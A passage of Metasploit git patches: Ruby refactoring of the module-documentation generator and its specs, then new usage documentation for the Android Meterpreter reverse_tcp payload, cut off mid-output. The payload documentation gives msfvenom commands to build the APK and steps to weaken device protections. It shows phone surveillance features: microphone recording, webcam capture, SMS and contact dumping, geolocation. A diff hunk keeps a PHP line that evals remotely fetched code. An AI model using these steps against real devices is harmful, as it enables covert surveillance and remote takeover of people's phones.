md_to_html(ERB.new(@md_template).result(binding()), kb) + md_to_html(ERB.new(@md_template).result(binding()), h(kb)) end @@ -79,7 +80,8 @@ module Msf def load_css @css ||= lambda { data = '' - File.open(CSS_BASE_PATH, 'rb') { |f| data = f.read } + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', CSS_BASE_PATH)) + File.open(path, 'rb') { |f| data = f.read } return data }.call end @@ -94,7 +96,8 @@ module Msf r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true, no_intra_emphasis: true, escape_html: true) ERB.new(@html_template ||= lambda { html_template = '' - File.open(HTML_TEMPLATE, 'rb') { |f| html_template = f.read } + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', HTML_TEMPLATE)) + File.open(path, 'rb') { |f| html_template = f.read } return html_template }.call).result(binding()) end @@ -207,13 +210,14 @@ module Msf end - # Returns a parsed ERB template. + # Returns a parsed demo ERB template. # # @param mod [Msf::Module] Metasploit module. # @param path [String] Template path. # @return [String] - def load_template(mod, path) + def load_demo_template(mod, path) data = '' + path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', path)) File.open(path, 'rb') { |f| data = f.read } ERB.new(data).result(binding()) end @@ -244,21 +248,21 @@ module Msf # @return [String] def normalize_demo_output(mod) if mod.kind_of?(Msf::Exploit::Remote::BrowserExploitServer) && mod.shortname != 'browser_autopwn2' - load_template(mod, BES_DEMO_TEMPLATE) + load_demo_template(mod, BES_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Exploit::Remote::HttpServer) - load_template(mod, HTTPSERVER_DEMO_TEMPLATE) + load_demo_template(mod, HTTPSERVER_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Exploit::Local) - load_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) + load_demo_template(mod, LOCALEXPLOIT_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Post) - load_template(mod, POST_DEMO_TEMPLATE) + load_demo_template(mod, POST_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Payload) - load_template(mod, PAYLOAD_DEMO_TEMPLATE) + load_demo_template(mod, PAYLOAD_DEMO_TEMPLATE) elsif mod.kind_of?(Msf::Auxiliary::Scanner) - load_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE) + load_demo_template(mod, AUXILIARY_SCANNER_DEMO_TEMPLATE) elsif is_remote_exploit?(mod) - load_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) + load_demo_template(mod, REMOTE_EXPLOIT_DEMO_TEMPLATE) else - load_template(mod, GENERIC_DEMO_TEMPLATE) + load_demo_template(mod, GENERIC_DEMO_TEMPLATE) end end diff --git a/spec/lib/msf/util/document_generator/normalizer_spec.rb b/spec/lib/msf/util/document_generator/normalizer_spec.rb index 8c8c65394f..8307610e22 100644 --- a/spec/lib/msf/util/document_generator/normalizer_spec.rb +++ b/spec/lib/msf/util/document_generator/normalizer_spec.rb @@ -195,11 +195,11 @@ RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do end end - describe 'load_template' do + describe 'load_demo_template' do context 'when a BrowserExploitServer demo template path is given' do it 'returns the demo' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::BES_DEMO_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('This module is also supported by Browser Autopwn 2') + expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is also supported by Browser Autopwn 2') end end end @@ -208,42 +208,42 @@ RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do context 'when the module is a kind of Msf::Exploit::Remote::HttpServer' do it 'returns the demo of HTTPSERVER_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::HTTPSERVER_DEMO_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include("use #{mod_fullname}") + expect(subject.send(:load_demo_template, msf_mod, template)).to include("use #{mod_fullname}") end end context 'when the module is a kind of Msf::Exploit::Local' do it 'returns the content of LOCALEXPLOIT_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::LOCALEXPLOIT_DEMO_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('To run a local exploit, make sure you are at the msf prompt.') + expect(subject.send(:load_demo_template, msf_mod, template)).to include('To run a local exploit, make sure you are at the msf prompt.') end end context 'when the module is a kind of Msf::Post' do it 'returns the demo of POST_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::POST_DEMO_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('There are two ways to execute this post module') + expect(subject.send(:load_demo_template, msf_mod, template)).to include('There are two ways to execute this post module') end end context 'when the module is a kind of Msf::Payload' do it 'returns the demo of PAYLOAD_TEMPLATE' do - template = Msf::Util::DocumentGenerator::DocumentNormalizer::PAYLOAD_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('> generate') + template = Msf::Util::DocumentGenerator::DocumentNormalizer::PAYLOAD_DEMO_TEMPLATE + expect(subject.send(:load_demo_template, msf_mod, template)).to include('> generate') end end context 'when the module is a kind of Msf::Auxiliary::Scanner' do it 'returns the demo of AUXILIARY_SCANNER_TEMPLATE' do - template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('This module is a scanner module') + template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_DEMO_TEMPLATE + expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is a scanner module') end end context 'when the module does not have a known kind' do it 'returns the demo of GENERIC_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::GENERIC_DEMO_TEMPLATE - expect(subject.send(:load_template, msf_mod, template)).to include('msf exploit') + expect(subject.send(:load_demo_template, msf_mod, template)).to include('msf exploit') end end end From b91ee232ff69bcc84d362219aa4eb27c9de42a74 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 10:25:29 -0600 Subject: [PATCH 61/96] Change HTML parsing --- lib/msf/util/document_generator/normalizer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 9cc92787e0..998120f35b 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -67,7 +67,7 @@ module Msf File.open(path, 'rb') { |f| template = f.read } return template }.call - md_to_html(ERB.new(@md_template).result(binding()), h(kb)) + md_to_html(ERB.new(@md_template).result(binding()), kb.gsub(/ Date: Tue, 8 Mar 2016 11:25:15 -0600 Subject: [PATCH 62/96] Auto
        --- .../modules/auxiliary/scanner/http/tomcat_mgr_login.md | 4 ---- .../modules/auxiliary/scanner/smb/smb_login.md | 6 ------ .../modules/auxiliary/server/browser_autopwn2.md | 10 ---------- .../modules/exploit/multi/script/web_delivery.md | 6 ------ .../modules/exploit/windows/smb/ms08_067_netapi.md | 8 -------- documentation/modules/exploit/windows/smb/psexec.md | 8 -------- .../modules/payload/windows/meterpreter/reverse_tcp.md | 10 ---------- lib/msf/util/document_generator/normalizer.rb | 4 ++++ 8 files changed, 4 insertions(+), 52 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md index 898b505370..b96708835a 100644 --- a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -33,16 +33,12 @@ loaded. ## Vulnerable Application ---- - To download the vulnerable application, you can find it here: https://tomcat.apache.org/whichversion.html ## Verification Steps ---- - 1. Do: ```auxiliary/scanner/http/tomcat_mgr_login``` 2. Do: ```set RHOSTS [IP]``` 3. Set TARGETURI if necessary. diff --git a/documentation/modules/auxiliary/scanner/smb/smb_login.md b/documentation/modules/auxiliary/scanner/smb/smb_login.md index 21ec74f4de..e0e9391b68 100644 --- a/documentation/modules/auxiliary/scanner/smb/smb_login.md +++ b/documentation/modules/auxiliary/scanner/smb/smb_login.md @@ -4,14 +4,10 @@ and log into more machines. ## Vulnerable Application ---- - To use smb_login, make sure you are able to connect to a SMB service that supports SMBv1. ## Verification Steps ---- - The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB: ``` @@ -46,8 +42,6 @@ msf auxiliary(smb_login) ## Options ---- - By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will also need to supply user names and passwords. The following options are available to support different credential formats: diff --git a/documentation/modules/auxiliary/server/browser_autopwn2.md b/documentation/modules/auxiliary/server/browser_autopwn2.md index 477d87da29..c09b71ff47 100644 --- a/documentation/modules/auxiliary/server/browser_autopwn2.md +++ b/documentation/modules/auxiliary/server/browser_autopwn2.md @@ -3,8 +3,6 @@ feel different for you. Here are the features you should know about before using ## Vulnerable Applications ---- - Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins, such as: * Internet Explorer @@ -16,8 +14,6 @@ Browser Autopwn 2 is capable of targeting popular browsers and 3rd party plugins ## Exploit URLs ---- - Normally, the only URL you need to care about is the **BrowserAutoPwn URL**. This is the URL you should send to the targets you wish to attack. @@ -33,8 +29,6 @@ used, including the URLs. ## Browser Autopwn 2 Options ---- - **The HTMLContent Option** The HTMLContent option allows you to serve a basic HTML web page to the browser instead of having a @@ -143,8 +137,6 @@ set ExploitReloadTimeout 5000 ## Scenarios ---- - By default, Browser Autopwn 2 goes through the entire exploit module tree, and will try to use different types of exploits - Firefox, Internet Explorer, Adobe Flash, Android, etc. If you want to test a specific application, basically all you need to do is setting the @@ -166,8 +158,6 @@ $ ./msfconsole -q -r scripts/resource/bap_flash_only.rc ## Logging ---- - In addition, when a browser connects to BAP, this link-clicking event is also logged to the database as a "bap.clicks" note type. If the ShowExploitList option is set to true, that will also save the exploit list information so that after testing you can go back to the database and see diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index b36879b5d9..f5208585ee 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -11,8 +11,6 @@ say the target supports Powershell. ## Verification Steps ---- - To be able to use web_delivery, you must gain access to the target machine first, with the ability to execute either the Python, or PHP, or Powershell interpreter. @@ -46,8 +44,6 @@ php -d allow_url_fopen=true -r "eval(file_get_contents('http://172.16.23.1:8080/ ## Targets ---- - **Python** Python is a fairly popular language, especially on unix-based systems. For example, it comes with @@ -65,8 +61,6 @@ don't come with it by default, but it is still possible to see it installed on a ## Scenarios ---- - **Against a compromised web application** web_delivery would work nicely for a web application with a command execution vulnerability. diff --git a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md index 14c1e4efef..6af5b746ad 100644 --- a/documentation/modules/exploit/windows/smb/ms08_067_netapi.md +++ b/documentation/modules/exploit/windows/smb/ms08_067_netapi.md @@ -9,8 +9,6 @@ vulnerable code path, not just passively. ## Vulnerable Application ---- - This exploit works against a vulnerable SMB service from one of these Windows systems: * Windows 2000 @@ -22,20 +20,14 @@ the system's patch level, or use a vulnerability check. ## Verification Steps ---- - Please see Basic Usage under Overview. ## Options ---- - Please see Required Options under Overview. ## Scenarios ---- - **Failure to detect the language pack** On some Windows systems, ms08_067_netapi (as well as other SMB modules) might show you this diff --git a/documentation/modules/exploit/windows/smb/psexec.md b/documentation/modules/exploit/windows/smb/psexec.md index ba096f6330..5fe2abe0c5 100644 --- a/documentation/modules/exploit/windows/smb/psexec.md +++ b/documentation/modules/exploit/windows/smb/psexec.md @@ -9,8 +9,6 @@ you normally would with any Metasploit exploits. ## Vulnerable Application ---- - To be able to use exploit/windows/smb/psexec, you must meet these requirements: 1. You have a valid username/password. @@ -20,8 +18,6 @@ To be able to use exploit/windows/smb/psexec, you must meet these requirements: ## Verification Steps ---- - At the minimum, you should be able use psexec to get a session with a valid credential: ``` @@ -50,8 +46,6 @@ meterpreter > ## Options ---- - By default, exploit/windows/smb/psexec can be as simple as setting the RHOST option, and ready to go. But in reality, you will probably need to at least configure: @@ -65,8 +59,6 @@ This can be either the plain text version, or the Windows hash. ## Scenarios ---- - **Pass the Hash** diff --git a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md index 49b6fab838..57997dd3c8 100644 --- a/documentation/modules/payload/windows/meterpreter/reverse_tcp.md +++ b/documentation/modules/payload/windows/meterpreter/reverse_tcp.md @@ -9,8 +9,6 @@ windows/meterpreter/reverse_tcp is also the default payload for all Windows expl ## Vulnerable Application ---- - This Meterpreter payload is suitable for the following environments: * Windows x64 @@ -18,8 +16,6 @@ This Meterpreter payload is suitable for the following environments: ## Verification Steps ---- - windows/meterpreter/reverse_tcp is typically used in two different ways. First, it is typically used as a payload for an exploit. Here's how to do that: @@ -43,8 +39,6 @@ as an executable: ## Important Basic Commands ---- - **pwd command** The ```pwd``` command allows you to see the current directory you're in on the remote target. @@ -281,8 +275,6 @@ SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b2056 ## Scenarios ---- - **Setting up for Testing** For testing purposes, if you're tired of manually generating a payload and starting a multi handler @@ -683,8 +675,6 @@ To learn more about this, please read this [documentation](https://github.com/ra ## Using the Post Exploitation API in IRB ---- - To enter IRB, at the Meterpreter prompt, do like the following: ``` diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index 998120f35b..e5c04d4489 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -24,6 +24,10 @@ module Redcarpet end end + def header(text, header_level) + %Q|#{text}
        | + end + end end end From 860159fa007d7fe697a97f0fd745529b4704c504 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 11:37:25 -0600 Subject: [PATCH 63/96] Update rspec --- .../msf/util/document_generator/normalizer_spec.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/util/document_generator/normalizer_spec.rb b/spec/lib/msf/util/document_generator/normalizer_spec.rb index 8307610e22..c3a539aa8a 100644 --- a/spec/lib/msf/util/document_generator/normalizer_spec.rb +++ b/spec/lib/msf/util/document_generator/normalizer_spec.rb @@ -212,6 +212,13 @@ RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do end end + context 'when the module is a remote exploit' do + it 'returns the demo of REMOTE_EXPLOIT_DEMO_TEMPLATE' do + template = Msf::Util::DocumentGenerator::DocumentNormalizer::REMOTE_EXPLOIT_DEMO_TEMPLATE + expect(subject.send(:load_demo_template, msf_mod, template)).to include('it looks like this is a remote exploit module') + end + end + context 'when the module is a kind of Msf::Exploit::Local' do it 'returns the content of LOCALEXPLOIT_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::LOCALEXPLOIT_DEMO_TEMPLATE @@ -227,14 +234,14 @@ RSpec.describe Msf::Util::DocumentGenerator::DocumentNormalizer do end context 'when the module is a kind of Msf::Payload' do - it 'returns the demo of PAYLOAD_TEMPLATE' do + it 'returns the demo of PAYLOAD_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::PAYLOAD_DEMO_TEMPLATE expect(subject.send(:load_demo_template, msf_mod, template)).to include('> generate') end end context 'when the module is a kind of Msf::Auxiliary::Scanner' do - it 'returns the demo of AUXILIARY_SCANNER_TEMPLATE' do + it 'returns the demo of AUXILIARY_SCANNER_DEMO_TEMPLATE' do template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_DEMO_TEMPLATE expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is a scanner module') end From f831d58c1c190c58d898ead508bff26fe687e5a6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 12:19:27 -0600 Subject: [PATCH 64/96] Support tables --- .../auxiliary/scanner/http/tomcat_mgr_login.md | 2 -- lib/msf/util/document_generator/normalizer.rb | 14 +++++++++++++- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md index b96708835a..f558f37fe7 100644 --- a/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md +++ b/documentation/modules/auxiliary/scanner/http/tomcat_mgr_login.md @@ -13,13 +13,11 @@ Older versions of Tomcat came with default passwords enabled by default. For exa **Tomcat 4** -``` | Username | Password | Role | | -------- | -------- | ------------- | | tomcat | tomcat | tomcat | | role1 | tomcat | role1 | | both | tomcat | tomcat, role1 | -``` **Tomcat 5** diff --git a/lib/msf/util/document_generator/normalizer.rb b/lib/msf/util/document_generator/normalizer.rb index e5c04d4489..788204b650 100644 --- a/lib/msf/util/document_generator/normalizer.rb +++ b/lib/msf/util/document_generator/normalizer.rb @@ -28,10 +28,15 @@ module Redcarpet %Q|#{text}
        | end + def table(header, body) + %Q|#{header}#{body}

        | + end + end end end + module Msf module Util module DocumentGenerator @@ -97,7 +102,14 @@ module Msf # @param kb [String] Additional information to add. # @return [String] HTML document. def md_to_html(md, kb) - r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, fenced_code_blocks: true, no_intra_emphasis: true, escape_html: true) + opts = { + fenced_code_blocks: true, + no_intra_emphasis: true, + escape_html: true, + tables: true + } + + r = Redcarpet::Markdown.new(Redcarpet::Render::MsfMdHTML, opts) ERB.new(@html_template ||= lambda { html_template = '' path = File.expand_path(File.join(Msf::Config.data_directory, 'markdown_doc', HTML_TEMPLATE)) From ad0a948ae771fa2ccb74af084fb4b2dd1f44a7bc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 12:21:20 -0600 Subject: [PATCH 65/96] Update module_doc_template --- data/markdown_doc/module_doc_template.md | 8 -------- 1 file changed, 8 deletions(-) diff --git a/data/markdown_doc/module_doc_template.md b/data/markdown_doc/module_doc_template.md index ebaafa6e96..aa1e134161 100644 --- a/data/markdown_doc/module_doc_template.md +++ b/data/markdown_doc/module_doc_template.md @@ -4,14 +4,10 @@ But feel free to add more content/sections to this. ## Vulnerable Application ---- - Instructions to get the vulnerable application. ## Verification Steps ---- - Example steps in this format: 1. Install the application @@ -22,16 +18,12 @@ But feel free to add more content/sections to this. ## Options ---- - **Option name** Talk about what it does, and how to use it appropriately. ## Scenarios ---- - Specific demo of using the module that might be useful in a real world scenario. ``` From 12b456e452ab72045b91b9b4e46dc0be762f16b7 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 8 Mar 2016 16:55:04 -0600 Subject: [PATCH 66/96] Add module documentation for android/meterpreter/reverse_tcp --- .../android/meterpreter/reverse_tcp.md | 459 ++++++++++++++++++ 1 file changed, 459 insertions(+) create mode 100644 documentation/modules/payload/android/meterpreter/reverse_tcp.md diff --git a/documentation/modules/payload/android/meterpreter/reverse_tcp.md b/documentation/modules/payload/android/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..5a5a9f6498 --- /dev/null +++ b/documentation/modules/payload/android/meterpreter/reverse_tcp.md @@ -0,0 +1,459 @@ +The android/meterpreter/reverse_tcp payload is a Java-based meterpreter that can be used on an +Android device. It is still at an early stage of development, but there's so many things you can +do with it already. + +The Android Meterpreter allows you to remote control the file system, listen to phone calls, +retrieve or send SMS messages, geo-locate the user, support for post modules, etc. + +## Vulnerable Application + +You can test android/meterpreter/reverse_tcp on these devices: + +**Android Emulator** + +An emulator is the most convenient way to test Android Meterpreter. You can try: + +* [Android SDK](http://developer.android.com/sdk/index.html#Other) - Creates and manages your emulators from a command prompt or terminal. +* [Android Studio](http://developer.android.com/sdk/installing/index.html?pkg=studio) - Easier to use than the SDK for managing the emulators. +* [GenyMotion](https://www.genymotion.com/download/) - An account is required. +* [AndroidAVDRepo](https://github.com/dral3x/AndroidAVDRepo) - A collection of pre-configured emulators. + + +**A real Android device** + +Having a real Android device allows you to test features or vulnerabilities you don't necessarily +have from an emulator, which might be specific to a manufacturer, carrier, or hardware. You also +get to test it over a real network. + + +## Verification Steps + +Currently, the most common way to use Android Meterpreter is to create it as an APK, and then +execute it. + +To create the APK, here is how with msfconsole: + +``` +msf > use payload/android/meterpreter/reverse_tcp +msf payload(reverse_tcp) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk +[*] Writing 8992 bytes to /tmp/android.apk... +msf payload(reverse_tcp) > +``` + +And here is how with msfvenom: + +``` +./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk +``` + +Next, start an Android device. Upload the APK, and execute it. There are different ways to do this, +so please refer to Scenarios for more information. + +## Important Basic Commands + +**pwd** + +The ```pwd``` command allows you to see the current directory you're in. + +``` +meterpreter > pwd +/data/data/com.metasploit.stage +``` + +**cd** + +The ```cd``` command allows you to change directory. Example: + +``` +meterpreter > cd cache +meterpreter > ls +``` + +**cat** + +The ```cat``` command allows you to see the content of a file. + +**ls** + +The ```ls``` command display items in a directory. Example: + +``` +meterpreter > ls +Listing: /data/data/com.metasploit.stage/files +============================================== + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100444/r--r--r-- 0 fil 2016-03-08 14:56:08 -0600 rList-com.metasploit.stage.MainActivity +``` + +**upload** + +The ```upload``` command allows you to upload a file to the remote target. The ```-r``` option +allows you to do so recursively. + +**download** + +The ```download``` command allows you to download a file from the remote target. The ```-r``` +option allows you to do so recursively. + +**search** + +THe ```search``` command allows you to find files on the remote target. For example: + +``` +meterpreter > search -d . -f *.txt +``` + +**ifconfig** + +The ```ifconfig``` command displays the network interfaces on the remote machine. + +``` +meterpreter > ifconfig + +... + +Interface 10 +============ +Name : wlan0 - wlan0 +Hardware MAC : 60:f1:89:07:c2:7e +IPv4 Address : 192.168.1.207 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : fe80::62f1:89ff:fe07:c27e +IPv6 Netmask : :: +IPv6 Address : 2602:30a:2c51:e660:81ae:6bbd:e0e1:5954 +IPv6 Netmask : :: + +... +``` + +**getuid** + +The ```getuid``` command shows you the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: u0_a231 +``` + +**ps** + +The ```ps``` command shows you a list of processes the Android device is running. For example: + +``` +meterpreter > ps + +Process List +============ + + PID Name Arch User + --- ---- ---- ---- + 1 /init root + 2 kthreadd root + 3 ksoftirqd/0 root + 7 migration/0 root + 8 rcu_preempt root + 9 rcu_bh root + 10 rcu_sched root + 11 watchdog/0 root + 12 watchdog/1 root + 13 migration/1 root + 14 ksoftirqd/1 root + 17 watchdog/2 root + 18 migration/2 root + 19 ksoftirqd/2 root + 22 watchdog/3 root + 23 migration/3 root + +... +``` + +**shell** + +The ```shell``` command allows you to interact with a shell: + +``` +meterpreter > shell +Process 1 created. +Channel 1 created. +id +uid=10231(u0_a231) gid=10231(u0_a231) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231) context=u:r:untrusted_app:s0 +``` + +To get back to the Meterpreter prompt, you can do: [CTRL]+[Z] + +**sysinfo** + +The ```sysinfo``` command shows you basic information about the Android device. + +``` +meterpreter > sysinfo +Computer : localhost +OS : Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Meterpreter : java/android +``` + +**webcam_list** + +The ```webcam_list``` command shows a list of webcams you could use for the ```webcam_snap``` +command. Example: + +``` +meterpreter > webcam_list +1: Back Camera +2: Front Camera +``` + +**webcam_snap** + +The ```webcam_snap``` command takes a picture from the device. You will have to use the +```webcam_list``` command to figure out which camera to use. Example: + +``` +meterpreter > webcam_snap -i 2 +[*] Starting... +[+] Got frame +[*] Stopped +Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg +``` + +**record_mic** + +The ```record_mic``` command records audio. Good for listening to a phone conversation, as well as +other uses. Example: + +``` +meterpreter > record_mic -d 20 +[*] Starting... +[*] Stopped +Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav +``` + +**activity_start** + +The ```activity_start``` command is an execute command by starting an Android activity from a URI +string. + +**check_root** + +The ```check_root``` command detects whether your payload is running as root or not. Example: + +``` +meterpreter > check_root +[*] Device is not rooted +``` + +**dump_calllog** + +The ```dump_calllog``` command retrieves the call log from the Android device. + +**dump_contacts** + +``` +meterpreter > dump_contacts +[*] Fetching 5 contacts into list +[*] Contacts list saved to: contacts_dump_20160308155744.txt +``` + +**geolocate** + +The ```geolocate``` commands allows you to locate the phone by retrieving the current lat-long +using geolocation. + +**wlan_geolocate** + +The ```wlan_geolocation``` command allows you to locate the phone by retrieving the current +lat-long using WLAN information. Example: + +``` +meterpreter > wlan_geolocate +[*] Google indicates the device is within 150 meters of 30.*******,-97.*******. +[*] Google Maps URL: https://maps.google.com/?q=30.*******,-97.******* +``` + +**send_sms** + +The ```send_sms``` command allows you to send an SMS message. Keep in mind the phone will keep a +copy of it, too. + +``` +meterpreter > send_sms -d "2674554859" -t "hello" +[+] SMS sent - Transmission successful +``` + +**sms_dump** + +The ```sms_dump``` command allows you to retrieve SMS messages. And save them as a text file. +For example: + +``` +meterpreter > dump_sms +[*] Fetching 4 sms messages +[*] SMS messages saved to: sms_dump_20160308163212.txt + +... + +$ cat sms_dump_20160308163212.txt + +===================== +[+] SMS messages dump +===================== + +Date: 2016-03-08 15:30:12 -0600 +OS: Android 5.1.1 - Linux 3.10.61-6309174 (aarch64) +Remote IP: 192.168.1.207 +Remote Port: 59130 + +#1 +Type : Incoming +Date : 2016-03-08 15:29:32 +Address : ********** +Status : NOT_RECEIVED +Message : Hello world + +... + +``` + +**run** + +The ```run``` command allows you to run a post module against the remote machine at the Meterpreter +prompt. For example: + +``` +meterpreter > run post/android/capture/screen +``` + +## Scenarios + +**Uploading APK to an Emulator using install_msf_apk.sh** + +The Metasploit Framework comes with a script that allows you to automatically upload your APK to +an active emulator, and execute it. It requires the [Android SDK platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/). + +To use this, follow these steps: + +1. Start the Android Emulator +2. Generate the Android payload as an APK. +3. In msfconsole, start a handler for android/meterpreter/reverse_tcp +4. Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +The the script will do something like this: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk + adding: META-INF/ANDROIDD.SF + adding: META-INF/ANDROIDD.RSA + signing: classes.dex + signing: AndroidManifest.xml + signing: resources.arsc +Failure +1562 KB/s (10715 bytes in 0.006s) + pkg: /data/local/tmp/android.apk +Success +rm failed for -f, Read-only file system +Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity } +``` + +Back to msfconsole, you should receive a session: + +``` +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +[*] Sending stage (62432 bytes) to 192.168.1.199 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600 + +meterpreter > +``` + +**Uploading APK to a real Android device using install_msf_apk.sh** + +On the Android device, make sure to enable Developer Options. You can do this by: + +1. Go to Settings -> About -> Software Information +2. Tap on the Build Number section a couple of times. It should unlock Developer Options. +3. Go back to the Settings page, you should see Developer Options. + +Under Developer Options, make sure to: + +* Enable USB debugging +* Disable Verify apps via USB +* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt + asking you to allow the computer for debugging, click OK on that. +* Do: ```adb devices``` again, adb should now have access. + +Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +And you should get a session. + + + +**Uploading APK from a Web Server** + +One way to upload an APK to Android without adb is by hosting it from a web server. To do this, +you must make sure to allow to trust "Unknown sources". Exactly how to do this varies, but normally +it's something like this: Settings -> Security -> Check "Unknown Sources" + +Once you have that changed, do: + +1. Generate the APK payload. +2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181``` +3. On your Android device, open a browser, and download the APK. +4. You should be able to find the APK from the Downloads folder, install it. +5. After installation, you will have to manually execute it. + +**Reconnect Android Meterpreter from the Browser Remotely** + +When you have the APK payload installed on your Android device, another trick to reconnect it is to +launch an intent from a browser - a term in Android development meaning an operation to be +performed. + +To do this, here is how: + +1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job. +2. Do: ```auxiliary/server/android_browsable_msf_launch```. +3. Set the URIPATh if needed. +4. Do: ```run```. At this point, the web server should be up. +5. On your Android device, open the native web browser, and go the URL generated by the auxiliary + module. +6. The Android handler should get a session like the following demo: + +``` +msf > use exploit/multi/handler +msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp +PAYLOAD => android/meterpreter/reverse_tcp +msf exploit(handler) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf exploit(handler) > set EXITONSESSION false +EXITONSESSION => false +msf exploit(handler) > run -j +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +msf exploit(handler) > [*] Starting the payload handler... + +msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch +msf auxiliary(android_browsable_msf_launch) > set URIPATH /test +URIPATH => /test +msf auxiliary(android_browsable_msf_launch) > run + +[*] Using URL: http://0.0.0.0:8080/test +[*] Local IP: http://192.168.1.199:8080/test +[*] Server started. +[*] Sending HTML... +[*] Sending stage (62432 bytes) to 